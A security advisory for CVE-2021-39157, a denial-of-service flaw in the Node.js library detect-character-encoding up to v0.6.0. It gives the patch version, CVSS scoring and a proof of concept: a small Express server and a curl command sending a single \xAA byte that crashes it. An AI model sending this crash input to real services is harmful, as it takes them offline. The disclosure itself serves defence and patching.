CVE-2021-39157

HIGH7.5EPSS 0.53%

Improper Handling of Exceptional Conditions in detect-character-encoding

Published: 8/25/2021Modified: 3/13/2026
Also known as:GHSA-jqfh-8hw5-fqjr

Description

### Impact In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash. ### Patches The problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0). ### CVSS score [CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C) Base Score: 7.5 (High) Temporal Score: 7.2 (High) Since detect-character-encoding is a library, the scoring is based on the “[reasonable worst-case implementation scenario](https://www.first.org/cvss/v3.1/user-guide#3-7-Scoring-Vulnerabilities-in-Software-Libraries-and-Similar)”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different. ### Proof of concept ```js const express = require("express"); const bodyParser = require("body-parser"); const detectCharacterEncoding = require("detect-character-encoding"); const app = express(); app.use(bodyParser.raw()); app.post("/", (req, res) => { const charsetMatch = detectCharacterEncoding(req.body); res.end(charsetMatch.encoding); }); app.listen(3000); ``` `printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000` crashes the server.

Affected packages (1)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1HIGH7.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References (6)